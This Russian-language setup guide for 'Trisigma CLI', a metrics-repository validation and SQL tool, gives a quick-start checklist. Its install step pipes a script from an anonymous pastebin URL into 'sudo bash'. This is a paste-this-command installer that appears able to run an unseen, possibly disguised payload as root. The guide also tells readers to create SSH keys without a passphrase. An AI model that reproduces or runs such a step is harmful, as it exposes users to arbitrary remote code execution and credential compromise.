Настройка Trisigma CLI#
Этот раздел содержит полное руководство по установке и настройке Trisigma CLI.
Для кого: Аналитики и пользователи семантического слоя метрик
🎯 Привет!#
Если ты работаешь с репозиторием метрик в Trisigma и хочешь самостоятельно и быстро проверять свои изменения, отлаживать генерируемый SQL и работать с конфигурацией — это руководство для тебя.
Trisigma CLI — это инструмент командной строки, который позволяет:
- ✅ Валидировать изменения в репозитории метрик локально, до создания PR
- 🔍 Генерировать и отлаживать SQL-запросы для источников и метрик
- 📊 Просматривать списки доступных источников, дименшенов и метрик
- 🔄 Автоматически перекомпилировать SQL при изменении файлов (режим watch)
- 🌿 Управлять Git workflow: создавать ветки, коммитить изменения, публиковать PR
- 💬 Получать AI-объяснения ошибок валидации (опционально)
Улучшаем self-service и прозрачность слоя метрик! 🎉
📋 Содержание раздела#
Быстрый старт#
Для опытных пользователей — краткий чек-лист:
# 1. Проверь требования
python3 --version # должен быть 3.9-3.13
git --version
# 2. Настрой SSH-ключи для GitHub
ssh-keygen -t ed25519 -C "your.email@example.com"
# ВАЖНО: при создании ключа ОСТАВЬ passphrase ПУСТЫМ (просто нажми Enter)
# CLI не поддерживает ключи с passphrase
# Добавь публичный ключ в https://github.com/settings/keys
# 3. Склонируй репозиторий метрик
git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ab-metrics
cd ab-metrics
# 4. Установи CLI
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
# 5. Настрой CLI
trisigma init
Для подробных инструкций с пояснениями и скриншотами — переходи к следующим разделам! 👇